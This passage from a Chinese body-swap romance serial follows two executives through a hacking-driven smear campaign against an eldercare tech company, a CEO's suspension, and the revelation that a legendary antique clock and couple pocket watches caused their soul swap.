祁聿端了一杯柠檬水进房间,把许暻抱在怀里,喂她喝下:“小暻,别哭了……”
他的语气就像是温暖入喉的柠檬水,扫荡了抽噎引来的粘稠。
眼角的泪被他抹去,许暻低声道:“我只是…只是不甘爷爷奶奶是这样离开……而且我不明白,张启林之所以把怡康卖给我,是想用怡康来恶心我么?”
身侧的人沉默了片刻,拢在她肩侧的手轻轻拍了拍。
“别想太多,怡康现在只是废弃的一块地,是被我们便宜买下来的一块地,和张启林无关。那种恶心的人,我们就不要再让他停在我们心里去膈应人了,好不好?”
许暻没说话,只是把人抱紧了些。
房间里好不容易安静下来,手机铃声又骤然响起。
宋楹在电话里说:“张奶奶的检查报告出来了,有新发现。”
50. 焰火+9
“和你们从卢警官那里知道的结果一致,张奶奶体内残留的药物成分也有延长细胞寿命的作用,不过成功率也很小,甚至是不成功的,倘若含量再高一些,甚至会直接造成细胞死亡。”
宋楹拿着检查报告,转述了一遍检验科医生的话。
这个结果也算是他们预想中的结果。
所以张奶奶算是不幸中的万幸。
“奶奶的肝肾功能下降应该也是因为这个药物,就按照上次门诊医生开的药吃就没什么问题,我之后每周去一次社区帮奶奶按摩针灸。”
许暻仔细看了好几遍检查报告,点了点头。
一旁的吴质昇咂舌道:“这种目的不纯又危害社会的养老院倒闭也是应该的。”
吴质昇是来宋楹他们科室送资料的,恰好碰上,又是他接触过的病例,于是也过来加入探讨。
宋楹起了身,“反正坏人已经落网了,以后也不会再有怡康了,只要往后,再没有老人受苦,咱们也算是功德一件!”
这话明显是在安慰许暻。
多余的话在有他人的情况下不便说,但许暻又重重地点头,明显会了意。
突然,陈护士匆匆忙忙跑进来:“宋医生,34床的病人又跑到楼梯间抽烟去了,我叫不回来。”
34床的病人,就是游奕。
这几天许暻和祁聿没过来医院,也不知道游奕的情况。
自从他能下床之后,除了打针理疗的时间,基本不会看到他躺在床上的时候。
甚至自行下楼,去医院对面的便利店买烟。
宋楹脸色一收,直接绕过许暻身边,直奔楼梯间。
许暻和祁聿对视一眼,跟了上去。
然而他们才出科室的门,游奕已经打道回府。
视线交触的那一瞬,那人的脚步跟着停了。
“游奕,如果你还是不想要你这条命,干脆出院好了,省得浪费医疗资源!”宋楹剜他一眼,语气不善。
那人目光平静地划过许暻和祁聿,最后落在地面,两手懒懒垂在身侧,低声回了句:“死不了,宋医生放心,我会活到还完债的。”
像是只吊着一口气,要死不活的。
许暻听得一股无名火,想帮宋楹怼回去,身后却突然涌入一道沉稳的声音:“这位病人,宋医生是出于对病人的关心,你用自己的健康和欠的债务挂钩,这话倒是像对宋医生道德绑架。”
“……”
游奕垂着的眸子终于舍得抬起来,在那人身上轻瞥一眼,嘴唇微动。
吴质昇又接着说:“既然回来了就赶快回床上歇着吧,遵医嘱才是让宋医生真的放心。”
说完,吴质昇没多留,科室还有事,他跟几人打了招呼准备走:“许暻、祁聿,我那边还有事先走了。”
“楹楹,我先走了,之后见。”
三人的视线有一瞬同时看向吴医生离开的背影,那道小心翼翼探向宋楹的目光被所有人忽略。
许暻又看回游奕,嘴角往下拉了拉,两臂上抬交叉:“真是没有对比就没有伤害。”
她明显说给他听的话,他却充耳不闻。
游奕侧身从祁聿身旁的缝隙穿过去,缓步往病房的方向走。
宋楹沉了口气,眸光隐隐消散,稍稍侧身对着许暻道:“小暻,我这边就是这些,爷爷奶奶的事,你也别太难过,等周末,咱们一起去墓园看看他们。”
“我这边还要忙,之后再联系你们。”
……
回程的车里,车载新闻正以流畅的语速播报。
祁聿还在和许暻谈论游奕的事。
“小暻,虽然游奕这次回来性格确实大变样,但你也别那么犀利嘛。”祁聿没有任何反对的意思,只是考虑到游奕现在还是病人。
许暻撑着下巴的手宛若被启动开关一般,自动推着下巴侧头对向祁聿。
眼眸半眯,眸光依旧犀利,就像鲜艳的玫瑰花枝上尖锐的刺。
“他态度那么差,我凭什么顺着他?消失那么久连个解释都没有,还对楹楹那样的语气,楹楹又得罪谁了?”
祁聿的唇缓缓拉平,轻笑一声:“我不是这个意思,只是他还是病人,要把事情真的解决,不得让他先好好活着才行?”
“你们男人就是会心疼男人,他怎么不知道考虑考虑楹楹……”
许暻据理力争的尾音突然消失在了新闻的播报声里。
她和祁聿的目光顿然交汇,她清晰地看到祁聿脸上原本带有的浅笑消失了个彻底。
新闻里的男声吐字清晰、震慑有力,每一个字都被他们听得清清楚楚:“颐安科技继系统被黑客入侵后其公司CEO祁聿被爆与其合作方来往密切,涉及支票往来,黑客入侵究竟是事实还是祁聿自导自演为掩盖合作内幕?敬请关注,独家播报。”
许暻几乎是立刻打开手机,还没来得及看新闻热搜,刘助的电话已经过来:“祁总,社区又出事了。”
……
社区的会议室里,祁聿面对系统里的一堆乱码,稍稍棘手。
前不久恢复的系统再次出问题,整个系统的设置全部初始化,造成原有数据全部丢失,且部分功能无响应,正常的生命体征监测全部混乱。
依然是和上次相同的手笔。
许暻翻看着平板上越靠越前的热搜新闻,眉头紧锁,唇角下拉,下巴也跟着紧绷。
#颐安科技被黑客入侵
#颐安科技CEO祁聿与合作方私下疑似存在支票往来
#科技养老是否为骗局
#颐安社区老人低血糖险些死亡
#祁聿年仅28岁却稳坐CEO的位置
全是负面热搜,并且全都在往祁聿身上聚焦。
许暻点进去看了,所谓的支票往来,是那天她去见郑总临走时被那个小孩撞到之后,郑总把小孩的纸条递给她的照片。
但照片里却没有小孩的身影,也没有其他散落在地上的纸条,只有郑总手上的纸条,而她的手恰好停在去接过纸条的动作。
甚至专门挑郑总已经出国的时间段发出来。
分明就是被人有心利用了。
黑客入侵的事是根据警方发布的一则通告,串起吴奶奶出事的时间,直接判定颐安出问题。
可吴奶奶低血糖的事又是怎么会被传出去放大的?
甚至还出现了照片。
是那天的混乱场景,照片里她托着吴奶奶的肩颈,另一只手指着镜头方向,眉头紧锁,冲着镜头大喊。
她当时是在让人拿糖水,明明是紧张急切,照片却拍出了一股不耐烦的味道。
除了祁聿这张脸,其他人全都被打码处理。
拍下这张照片的,是老人、家属、护工还是工作人员?
许暻没有头绪。
她已经让刘助尽快处理,但背后这个‘有心之人’却来势汹汹。
尚且清醒的网民评论被淹没在一大片水军的浪潮中,随之而来的是一大片骂声。
从祁聿本身,连接那张莫须有的照片,串起吴奶奶的事,最终以养老这个社会问题的大盘,引起民愤。
刘助已经在第一时间发了澄清帖,及时公关,砸来的黑稿却一直不断。
许暻紧抿着唇,浅红的唇色被压得白了大半,眉头紧得像要夹碎一颗核桃。
心里仿佛被人塞了一颗不断进气的气球,鼓胀得越来越大、越来越大,几乎要挤压到她的呼吸道。
许暻干脆关了平板,抬头重新看向正在恢复系统的祁聿,身形一僵——
他已经停下了手里的动作,静静望着她。
许暻眼神有一瞬的失焦,眼眸缓慢地眨了两下,再聚焦时,她听见祁聿说:“可能会
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有些麻烦了。”
……
两人从会议室里出来,许暻把电脑给了刘助,面色稍稍僵硬:“通知下去,系统暂时没能修复,数据也没办法恢复,我会尽快想办法解决,在此之前,所有老人的日常护理和生活都需要医护人员和护工细心核对,不允许出任何差错。”
刘助的动作稍微卡顿,像是一台机器的齿轮里突然卡进了异物,两秒后,他下意识瞪了瞪眼,最后又恢复原状。
接过电脑之后,他点了点头:“我知道了。”
与此同时,李董的电话也打来了。
许暻盯着屏幕上的那两个字,轻轻转眸,瞥了眼祁聿,他幅度极小地点了点头,许暻才接起。
电话里头的声音不似前两次的平和,稍微带着几分冷肃:“小祁,社区的事情,以及你的事,我需要尽快得到一个合理的解释。”
隔着电话线,包裹着这几句话的寒意已经窜行而来,许暻身侧的手稍稍捏紧,冰凉的指腹在掌心摩擦,匀起一层细细的冷汗。
她嗯了一声,朝那头保证:“李董,您放心,我一定尽快解决这件事,给您一个满意的答复。”
挂了电话之后,祁聿重新握起许暻的手,安慰道:“相信我,不会有事的。”
然而话音刚落,服务站就响起阵阵抱怨:“这系统就这么脆弱吗?”
“到底怎么回事啊,怎么前不久才出事现在又出问题了?”
站在转角处的两人一顿,许暻松开了祁聿的手,转身走了出去。
抱怨声消失在她出现的那一刻。
几个工作人员抿着唇,面面相觑。
许暻即没有喜色,也没有怒色,平静地望着他们,停顿了一会才开口:“辛苦大家,这几天我会尽快想办法让系统恢复正常,希望大家恪尽职守,保质保量地完成工作,系统恢复前,工资都按加班来算。”
几个人的神色才松懈下来,即使再有抱怨,也都是掖在心里了。
……
回了家,许暻还在留意舆论。
通篇都在隐讽祁聿所在的职位存在黑幕,说所谓的科技养老先锋也不过是他花钱给自己打造的名号,他的科技养老漏洞百出,科技产品也不知道存在多少黑幕,颐安社区就该早些倒闭。
甚至有人拿出桐馨来做对比,标榜桐馨才是养老行业的主心骨,加以诋毁颐安。
“……”许暻不想再多看这些舆论一眼。
果然这年头,随随便便一点风声都能掀起大浪。事实未明,已经一大堆跟风的,甚至根本不了解养老这个行业,也不了解颐安和桐馨,只凭只字片语,就已经站在道德的制高点批判起来。
而被当成众矢之的的主角,此刻还在厨房里悠闲地做晚饭,他倒好,根本不理会。
“你看吧,让你冲当什么先锋,科技养老现在就你一家独大,遇到点意外所有的对家都来吐口水了!”许暻倚在厨房门口,语气忿忿。
祁聿把芝士虾盛好装盘,送到许暻手里:“许总锐评归锐评,别拉踩我啊,洗手吃饭。”
“……你真的就一点不担心?”许暻见他一副完全事不关己的模样,还是不理解他的心理素质怎么能好成这样。
这就是所谓的‘游刃有余’的好处么?
那人依旧满不在乎:“我点了奶茶,依旧是七分糖的波霸美莓奶茶。”
“……”
许暻索性也不提了。
舆论持续发酵,黑帖持续不断。
宋楹的电话已经打来了好几次,生怕他们出什么事。
就连一向很少管孩子生活的两家父母都打电话过来询问。
许暻一一应付过去。
直到睡觉前,脑海中还一直循环着和祁聿对好的明天如何面对李董的说辞。
然而他们没想到的是,隔天一早,已经出现新的舆论风波。
51. 焰火+10
不知道又是从哪里传出来的一张照片。
照片里的人是祁聿和李董。
祁聿这会正是在颐安实习的时候,当时他请求李董给他一点时间说说他对公司的企划与展望,因为那天之后李董要公差一周,所以下班之后李董带他去了一家安静的咖啡厅,给了他半个小时。
他们就坐在靠窗的位置,照片也是从窗外被人拍下。
仅这一张照片,祁聿再次被舆论引导,被钉上莫须有的标签。
A:这不就是走‘后门’吗?年纪轻轻哦,还是这位祁总会找升职的门路!
B:祁总这是靠美色上/位,科技养老是口冲的大白话怎么了,人家钱不是照样赚么?颐安社区的养老费可比同行高了不少呢!
C:打着科技的旗号大赚老人的钱,老人辛苦了一辈子最后被一个走‘后门’的把钱吞了。
D:壁垒颐安社区!壁垒祁聿!还住在颐安社区的赶快跑吧!
……
……
“这tm瞎说什么啊?!”许暻大早上起来看到手机推送的舆论,没忍住爆了粗口。
“说什么了又?”祁聿刚洗漱完从浴室出来,身体下意识往许暻身边靠,想看她手机里的内容。
许暻却猛地缩回手,将手机屏幕朝下:“没什么,一些无聊的话。”
他身上清新的雪松香扑过来,稍微浇灭了些她身体里燃起的愤怒的火苗。
祁聿掀起眸在她脸上横扫两下,手掌扣在她后脑勺,缓缓摩挲,“让我看看,什么话让我女朋友这么生气。”
“不要,你还是别看了……”
许暻自认站在她的角度都不能接受祁聿被这样揣测,更何况他本人。
就他那样自信骄傲的一个人,被这样侮辱,不得难受成什么样。
可祁聿执意要看,还说这个家里不只有她手上这一部手机。
许暻迟疑两秒,于心不忍,只是在递出手机之前再三强调:“那些话都是瞎说的,你千万别往心里去!”
等不堪入目的话语汇入视线,许暻的牙齿有节律地咬在唇上,细密的痛感传出来,视线一刻也不敢从祁聿身上移开。
脑海中已经在拼接各式各样安慰的说辞,就等着宣之于口。
那人却突然嗤笑了声:“现在网友想象力还蛮丰富的。”
“你管这叫想象力丰富?这分明就是闲得没事干恶意揣测!”
“说几句而已,我又不真的是。”
“……”
许暻突然觉得她才应该是被安慰的人。
最后两人吃完早餐出门,祁聿还再三确认许暻的情绪状态:“别想那些言论,别怕,有我在。”
说实话,许暻在网上铺天盖地的负面言论袭来之后心态确实有些不稳。
祁聿现在不仅是她的男朋友,同时在一定程度上也是她。
她不想被这些莫名其妙的言论顶上本不属于她的‘罪名’。
她确实有些心急。
希望这一次的事能像上次那样快速被解决。
但此刻,她倏然平定下来了。
上车之前,她突然冲到祁聿跟前,张开双臂把人抱住。
怀中的人隐隐一顿,然后说:“晚上想吃什么?”
许暻蓦然笑了,“糖醋排骨。”
“等你回来。”
许暻再无顾虑,上了车。
……
本该是休息日,许暻却按时到岗。
刘助也跟着加班。
刘助匆忙汇报,说接到电话,社区那边的工作人员反馈,已经有几个老人的家属过来要求办理退费手续,要立马出院。
几个要求带老人走的家属看上去是结团一起来的,一起在服务站闹起来了。
许暻沉了口气,轻微的紧绷感从脖颈开始蔓延,宛如藤蔓一般渐渐往上爬,最后缠住整个头皮,勒得她发麻。
像是一波汹涌的浪花朝她拍过来,潮湿还没结束,不远处又冲过来一波更汹涌的海浪,想把她完全吞噬。
许暻虽然没遇到过这样的事,但此刻她还是一遍遍地暗示自己:她是清白的,她需要解决问题,她需要解决养老社区的问题。
至于那些舆论,该公关的公关,该报警的报警,剩下的谣言,只能靠最终的结果击破。
重新敛眉,对身旁的刘助正色道:“找几个口才好、会说话的员工去社区,看能不能安抚那些家属,能平定最好,不能安抚,就正常给他们办理出院手续。”
“是。”
刘助刚走,内线电话就响了。
许暻站在办公桌前,谨慎接起的那一刻,她瞬间了然——
李董今天也来加班了。
从祁聿的办公室到李董办公室的几分钟里,许暻再次回想了一遍昨晚和祁聿对的说辞。
本以为李董会像昨晚电话里那样冷肃,他却再一次出乎她的意料。
“坐。”李董稍微抬起下巴,示意她坐下。
“社区的系统问题解决了吗?”这是李董最先问出口的话。
许暻两只手搭在腿上,右手的大拇指按着左手虎口,上下摩挲。
她抿唇答:“暂时还没有。”
李董不喜不怒,不悦不肃,又沉默两秒。
“关于网上的负面新闻,我相信你也看到了。”
许暻点头。
“小祁,你在我这里三年多,你有怎样的能力,你的人品如何,我心里都有数。”
一串明显带有铺垫的话语,许暻等着下文。
“可我清楚是一回事,别人清不清楚,又是另外一回事。有时候别人的一两句话,或许就能破坏了我们颐安这几年打下来的口碑,可别人的话,有时候也能让被破坏的口碑逆转翻盘。”
“你是个聪明的人,应该知道我的意思。”
许暻不太能确定是不是自己想的意思,但她猜想,应该是——
李董想利用舆论改变舆论。
而这种做法,恐怕就需要以祁聿作为代价了。
果不其然,李董接着道:“在社区的问题没有解决之前,在郑总没有回国帮你作证之前,为了不引起其他董事的猜忌,为了不给社区持续造成负面影响。”
“你做停职处理。”
……
于是原本说好晚上的糖醋排骨,许暻中午就吃到了。
“也算合理。”祁聿听了许暻复述的整个过程得出结论。
“那我这段时间真在家什么事都不做?”
就这么被停职,许暻很不习惯。
祁聿光顾着给她夹菜,说她可以趁着这段时间休息一阵,反正公司还有刘助和其他董事在,出不了问题。
话虽这么说,但许暻还是想得多。
祁聿当初进颐安或许有点运气的成分在,但主要是靠他自己的实力。
相比于颐安董事里那些本就大有背景的人,他算得上普通。
但就是因为他普通,年纪又轻,所以坐上这个位置本就会引来无数红眼,现在出了这样的事,若是有人早已看他不惯,这个位置他想再回去恐怕就难了。
“祁聿,你没想过万一这次停职没有归期,你要怎么办吗?”许暻咽下排骨,少许的醋酸味反流,涩味在喉间停留了好一阵。
李董虽然看重他,但难免不会有为了利益而踢他出局的可能。
他沉默了片刻,咀嚼的动作缓慢而规律,腮帮子鼓了又平、平了又鼓。
他又笑了声:“没事,别担心,大不了就不回去了,反正有得一身本事在,不愁养不活自己,当然,我还有些积蓄,养活许总应该也没问题。”
许暻不知道是不是自己太敏感,哪怕祁聿是在说宽慰的话,她都觉得这些话是他苦中作乐来安慰她的。
好像和祁聿同居之后,他经常说别担心。
他好像极少把忧虑丢给她。
他好像总是在优先考虑她。
事业上,
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以前他是对她从不退让。
但生活里,他总是早起晚睡,让她醒来可以直接吃早餐,到家直接吃晚餐。
家务许暻基本没参与过,但家里总是干干净净的,祁聿没有请过保洁员,基本都是他干的。
还有他的那些细小的指示卡,虽然寻常,但就是很明显能感觉到,他是在关心她的。
阳台上新换的那几盆玫瑰他也是照料得越来越好。
甚至目前工作上他也提前做好了一切,不管是颐安的工作还是桐馨的工作,他们交换汇报时她也能看到他确实是认真在做。
该给老人拍的照片、该细心给老人过的生日,他一样也没缺。
就连整改方案,他也是站在自己和她的角度去打磨出来的。
仿佛他本就是一个很为别人考虑的人,能够尽自己最大的努力把所有事情做好,偶尔的坚持是他在坚守自己的原则,但如果有人能让他想通,他也能懂得变通。
最后许暻也不说了,他若是能苦中作乐,那她就陪他一起苦中作乐,不要给他带去焦虑了。
于是托祁聿的福,许暻开启了暂无归期的休假。
暂时停下工作之后,她每天早上也不喝咖啡了,直接睡到自然醒。
醒来之后她也没闲着,既然有了机会,她也想延伸一下自己前阵子的想法——
根据她在颐安的所见所闻,再结合她实际的经验,去打造一个科技与人文能够平衡发展的、被更多老人接受的养老院。
听上去还挺有前景。
等祁聿回家之后,她又开开心心地放下手里的事情,帮着他在厨房打下手。
她发现停职之后,祁聿黏在她身边的频率变高了,晚上非要跟她一起睡。
许暻一开始还是抗拒的,但次数多了之后,她也习惯了。干脆心安理得地住进了祁聿的卧室。
不过她发现这人秘密不少,房间里的柜子总是锁起来不让她看,说是时机没到。
而且他越来越喜欢吻她。
一逮着机会就吻上来,而且每一次都像他第一次吻她那样‘残暴’,而且他还非要把两人的情侣怀表放在一块,还要立在床头柜上,说是这样才能凸显他们的情侣身份。
如果不是祁聿常念叨想快些换回来,许暻真觉得祁聿是爱上了他自己的这副皮囊。
这期间,颐安社区的系统被李董找来的人做了恢复,社区暂时没事,不过关于祁聿的风波依然没有消停。
之后她又以祁聿的身份安慰了专门过来看他们的两家父母。
还等来了特意跑来的宋楹。
宋楹正好休息,不过是工作日,祁聿没在家。
看到网上的那些言论,她也替祁聿愤愤几句,又问:“那这个停职不会就这么一直停下去了吧?”
许暻靠在祁聿的床上,已经完全习惯这里,甚至已经开始迷恋他特有的雪松香。
完全没了前些天的担忧,她夷然道:“李董说是停职调查,要复核智能护理床还有智能手环什么的,估计得等到郑总回来之后吧。”
“你们还真是一点不担心哈?”宋楹此刻的心境不亚于几天前许暻的心境。
许暻摇了摇头,说祁聿已经想到了办法,刚才还在手机里说回家有情报要跟她一起商量。
话毕,许暻自然地伸出手去拿宋楹手里的零食,另一只手去够床头柜上的水杯。
正想问问游奕的情况,够往床头柜的手没稳住,水杯往另一侧倒了下去,连带着把床头柜立着的怀表也撞了下去。
怀表落地的沉闷混杂着玻璃杯碎裂的清脆,思绪还没跟上,身体已经先做出反应。
许暻赶紧跳下床,重中之重是把那两块怀表捡了起来。
“没摔坏吧?”宋楹跟着从小沙发起来,手里的零食也扔了。
许暻把那两块表放在手心,指腹抹掉了表盘沾上的水珠。
“我的没事。”
“但是祁聿的好像秒针不走了。”
52. 焰火+11
趁着离祁聿下班还有一段时间,许暻开车和宋楹一起去了林老板那里。
不过今天林老板没在店里,是她的助手留在这。
助手也认识许暻和祁聿。
店里点了薰香,浅薄的烟雾缭绕,古典精美的各类钟表披上了一层神秘的外衣,极易勾起欣赏欲。
“这个秒针不走了,能帮我看看是什么问题吗?”
助手把怀表放在耳边听了听,拿小手电扫了一圈,又在手上甩了两下。
再看过去,原本罢工的秒针此刻重新站好了岗,继续无休无止地记录着每一秒光阴。
助手把怀表擦拭干净,递还给许暻:“应该是卡了一下,已经没问题了。”
许暻瞬间松了口气,差点堵进来的凝云跟着消散。
“太好了,没事就好!”
宋楹架起的双肩耷拉回去,凑上来瞥了一眼:“也好算是虚惊一场。”
拿好了东西,两人打算走,才迈了两步,一阵悠扬的钟声倏然响起,仿佛一缕迷幻的青烟,袅袅弥散,混入本就存在的浅雾之中。
许暻的双脚像是被人猛地拉住,停在原地动弹不得。
她迅速转眸,试图寻找钟声的来源。
眼底顷刻撞入一面庞大的古董钟,金色的钟盘映照在店内的灯光下,迷雾朦胧,仿佛隔了好几个时空。
许暻瞳孔骤缩,耳边的钟声不止,她甚至有些分不清是梦境还是现实。
宋楹也停了下来,循着她的目光,不解地望着眼前的古董钟。
“怎么了?”宋楹问。
许暻没答,立刻转身回到修理台前,斜手指向古董钟,语速急切:“这钟每天都响吗?”
助手停眸看了她两秒,然后才反应过来往她手指的方向看,点了点头道:“是,每天隔两个小时都会响一次的,怎么样,这声音很好听吧?”
许暻又拧眉回眸,漆黑的眼珠晦暗如墨,喉间似有千言万语想往外冲,却又同时堵住了出口,没有一句话能冒出来。
身旁的宋楹突然会意,神色突变,又立刻冲上前问:“这不会就是你听到的钟声吧?”
不等许暻回答,助手又接着说:“这钟是林姐前阵子淘回来的,这钟因为藏着一个传说,所以有一个很特别的名字,叫‘执念’。”
许暻又迅然抬眸。
这话好熟悉。
好像在哪听过。
意识自动抓取到了一些记忆,传输到大脑,引起那天的感觉,脚上似乎还停着高跟鞋引起的不适感。
那天祁聿在店里,林老板说:“……这个钟是很多年前的古董钟,有一个很特别的名字,叫‘执念’……”
“传说?什么传说?”
许暻还陷在回忆里,宋楹已经好奇地问了出口。
助手也是听林老板说的。
这个钟据说是清晚期的一位钟匠,他的妻子非常喜欢收藏精美漂亮的钟表,但精美的钟表不是独一无二的,她想拥有一个举世无双的钟。
钟匠很爱妻子,所以毫不犹豫,决定为妻子铸造一个独属于她的钟表。
钟表上的每一个部件都是两人一起打磨、一起安装的。
然而在大钟做好的那天,钟匠的妻子却因病离世,这大钟最后也成了遗物。
自那之后,钟匠每天什么活也不干,就坐在大钟跟前,一遍又一遍讲述着和妻子的一点一滴。
或许是他的消沉和坚持真的被感知到了,在一个暴雨倾盆的夜晚,钟匠坐在窗前,呆滞地凝着大钟。
时针和秒针合一,钟盘下垂钓着的钟摆适时摇晃,悠扬纯净的钟声凝着密集的雨声。
钟匠突然眼前一黑,昏了过去。
不知道过了多久,他再醒来时,暴雨已经停了,钟声也止了。
眼前一片朦胧,脸颊上不知道从哪里沾上了咸涩的湿润。
可就在他不解时,他看到桌上多了封书信。
是他的字迹,却是已故妻子的口吻。
信里妻子说,她也不知道发生了什么,灵魂竟进入了他的体内。
或许是因为她太心疼他,或许是因为他的执念太深。
她不知道自己的灵魂什么时候会出去,所以匆忙写下了信。
她说希望即使她不在也希望钟匠能够好好生活,大钟是他们爱的象征,或许可以留存至很多年以后。
她是离开了,却也以另一种方式留存。
后来钟匠为大钟取名为‘执念’,又向后人普及这背后的故事,直到现在。
“是不是一个很玄幻的传说?而且祁先生,你的这块表我听林姐说好像还是限量的那一款,虽然不知道是不是真的,但是传言说限量产出的三对怀表都是制作这口古董钟匠人的后代产出的哦。”
“当时也是说为了纪念祖父祖母的感情,特意做了三对情侣怀表,所以也算是和古董钟有着异曲同工之妙哦。”
暴雨、钟声、灵魂……
古董钟、情侣怀表……
异曲同工……
许暻又拿起祁聿的那块表,捏在手心里,拇指的甲床边缘血色褪了大半,泛着颤抖的苍白。
助手没注意到许暻的脸色不对,又补充说:“不过这都只是传说了,现实怎么会这么邪门,灵魂穿梭互换什么的,根本就不可能嘛。”
“……”
宋楹不可思议地转眸,又看见许暻死死盯着那块表,正想说点什么,下一秒人已经被许暻拉走。
出店之前,许暻还朝助手打了招呼。
系好安全带之后,宋楹还能感觉到许暻周身的霾云。
“小暻……”
“楹楹,”许暻抢在她话说完前打断,“我先送你回去,我有事回去问祁聿。”
“……好。”
……
到家的时候,祁聿还没回来。
许暻扔了手机,把自己的那块表也拿出来了,跟着跨进沙发里。
她把两块表并在一起。
回想林老板的助手说的那些话,还有之前她和祁聿一起去林老板店里修表的时候。
眉头紧锁,心头盘起了几朵浓云,把所有的畅意堵了个彻底。
所以祁聿在那天就已经知道古董钟背后的故事……
在去林老板店里的时候,他甚至有意拦下那些可能被她知道的话……
所以他早就知道他们为什么灵魂互换,也知道他们怎么能够换回去……
可他为什么不告诉她?<
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不想换回来?可他这些天每天都说很想早些换回来。
而且他每次提及,她总是会跟着附和,跟着想办法,还问他觉得哪种办法更靠谱。
怪不得他每次都不说话,原来是他了然一切。
弄得她倒像是个傻子一样,在那里自嗨自乐。
心口的阴霾密布,许暻实在不好受。
不说以前对祁聿有多少意见,至少确认关系之后,她是完全信任他的。
她以为这种信任是恋人自然而然的,也是双向的。
现在看来,事实并非如此。
两块怀表躺在手心,却已经慢慢失了温度。
玄关的机械音突兀响起,门外的人已经在按密码。
没多久,余光里已经出现了她再熟悉不过的身影。
祁聿一进门就看到了沙发上的人,边换鞋边问:“在沙发上看书吗?”
许暻没回答。
祁聿没在意,换好了鞋进来,“晚上煮饺子吃好不好?”
许暻还是没回答。
祁聿才发现她手里捏着两块表,神色阴郁。
他终于意识到不对,视线在表上瞥了两眼,又回到许暻脸上。
他试探性开口:“怀表怎么了吗?”
试探的语气里夹了一丝心虚。
这一次许暻精准地捕捉到了。
她遽然掀眸,眸光隐隐发凉,浸染了原主本有的凌厉。
祁聿嘴角的弧度微微发僵,似乎是意识到了什么。
许暻像是回到了她最讨厌祁聿的时候,语调丝毫不客气:“祁总真是好演技,奥斯卡不颁个奖给你真是他们的损失。”
就算她佩服他强大的心理素质,也不喜欢这一套是用在隐瞒她上的。
祁聿往前走了两步,俯身从她手里拿过了表:“小暻……”
像是真的了然,语气里尽是讨好的意味。
“……”
许暻觉得自己也是心太软,明明是打算找他算账,心里原本难受得要命、生气得要命。
可他一句讨好的‘小暻’,心口的浓云全都散了,立场也跟着动摇了。
她也不知道这人到底是有什么魔力。
能让她又喜欢又讨厌又开心又生气的。
但还在他面前,不能太快露出底牌,她又抬起下巴,双臂抱胸,刻意往下扯唇,语气不善:“我今天去林老板那儿了,该知道的事,我都知道了,一次机会,赶紧解释。”
闻言,祁聿几乎是立刻放下怀表,一个跨步直接到她身边,两只手紧紧裹住她的手。
许暻才发觉他的手心热意浓烈。
望向她的目光灼灼,熟悉的滚烫已经烧开了她用作抵御的那面墙的表皮。
许暻下意识往后退了退,接着祁聿又先挑重点解释:“我是知道我们为什么会灵魂互换,但我除了是想跟你在一起,没有任何其他目的!”
他说得很快,语气像是初冬的第一场雪,诚恳纯净。
热意又重了几分。
那面墙快被烧出一个洞来。
许暻不自觉咽了咽口水,顺着话问:“跟我在一起?”
许暻才知道,祁聿把他们灵魂互换当成了一个机会。
53. 焰火+12
和许暻在古玩店碰巧遇到的那天,他看到了店里的古董钟。
不知道为什么,他觉得那钟对他有一股莫名的吸引力。
于是从林老板那里得知了古董钟背后的故事。
那天林老板说:“如果有执念,或许真的会像那个钟匠一样,有意外的收获呢。”
执念……
那天祁聿在想,他的执念,或许就是许暻吧。
曾经他还以为,至少能在大学时期和她在一起,后来又想,他会跟她在硕研期间在一起。
再后来,他不知道他们如何才会在一起。
许暻讨厌他,至少在事业中如此。
但她又不可能主动来了解他生活里是怎样的。
好像哪条路都不通。
可祁聿没想到,上天真的给了他一次机会。
那个暴雨夜,他被打之后昏过去,什么都不知道了。
可醒来之后,他却发现自己在许暻的床上,甚至已经变成了‘许暻’。
一开始他也没意料到如此不可思议的事会发生,又在确认自己的身体里真的是许暻的意识之后窃喜,瞬间接受了这一切。
那个时候他第一时间想到的就是和许暻同居。
恰好借着工作的名义,让她和他住到一起,让她真的了解到他是一个怎样的人,让她能爱上他。
至于怀表,他也是后来从林老板那里知道他们的怀表和古董钟一样有秘密。
但他又怕许暻知道之后会想着立马换回去,毕竟她就只带了一个小行李箱去他家。
所以一心瞒着她。
那次意外换回来,他其实也有些没料到,居然在暴雨夜有怀表的情况下,接吻也能换回去。
但或许是他的执念未消,所以上天再次眷顾了他一回。
他们又互换了。
至于他们确定关系之后,他没和许暻坦白,也是担心许暻多想。
他们确定关系,有一半是因为他那晚的强制和算计。
就那么不顾一切地吻了她,又用那个蓄谋的条件让她答应下来。
他不确定她知道之后会是怎样的情绪,不确定她会不会生气走人,不确定她会不会在试用期淘汰他。
然而纸始终还是包不住火。
她还是知道了。
“上一次换回来是个意外,我也没料到,更没料到第二天我们又互换了。”
手背的热意愈发浓烈,许暻斜眸睨过去,撞入了那双滚烫的视线里。
心口的墙一瞬之间被大火烧灼融化,彻底失去了防御的能力。
那人甚至点上了一抹委屈,烧得正旺的火苗顷刻停职摇曳,从里头冒出了一朵白嫩的小花苞,被剩下的热意推着迅速生长,展开湿漉漉的纯净花瓣。
热意中添了一丝清爽和柔软,好似还有一股清香。
力道虽小,却延伸到了没有任何防御的心尖,停在那里,爆发出了内里蕴含的巨大冲击力。
“……”
许暻甚至判断不出来祁聿到底是故意还是本心使然。
也不知道该说他太过狡猾还是该说自己认识他认识得不够全面。
许暻不说话,那人又轻轻晃了晃她的手,继续发动攻势:“小暻,我真不是故意要瞒你,你信我。”
“……”
许暻拼命想压住试图上扬的嘴角,却在他靠近的那一刻彻底崩盘。
“你好烦!手心热死了!离我远点!”
话语虽然嫌弃,但嘴角的弧度快要翘上天。
身体即使在挣扎,却也没使出多大的力气。
最后被祁聿抱了个满怀。
“笑了就是不生气了?”祁聿用双手把人钳制在怀里,十指嵌入她的指缝,把许暻的手扣在掌心。
许暻口是心非道:“谁说的?我还气着。”
语气明显没有半点生气的意思。
祁聿跟着松了口气,又把下巴抵在她的肩头,说:“那一顿爱心晚餐够消气吗?”
许暻从没想到祁聿有一天也会这样说话,听得十分不习惯,她红着脸往后顶了顶他的腰腹:“你这都是从哪里学来的?肉麻死了!”
祁聿不以为然,浑然不觉,十指又扣紧了些。
“哪里肉麻了?一般情侣相处不都是这样?”
许暻听出了不对劲,又扭头:“都是这样?你很懂嘛。”
视线再次交汇,热意和柔软都已经淡去,只残留浓浓的余韵。
祁聿轻笑:“和许总谈恋爱,不做点准备,怎么能保证自己过试用期?”
每一个字都像裹着厚厚的糖衣,一点一点刺激着许暻的耳膜,音节往里窜行,糖衣渐渐融化。
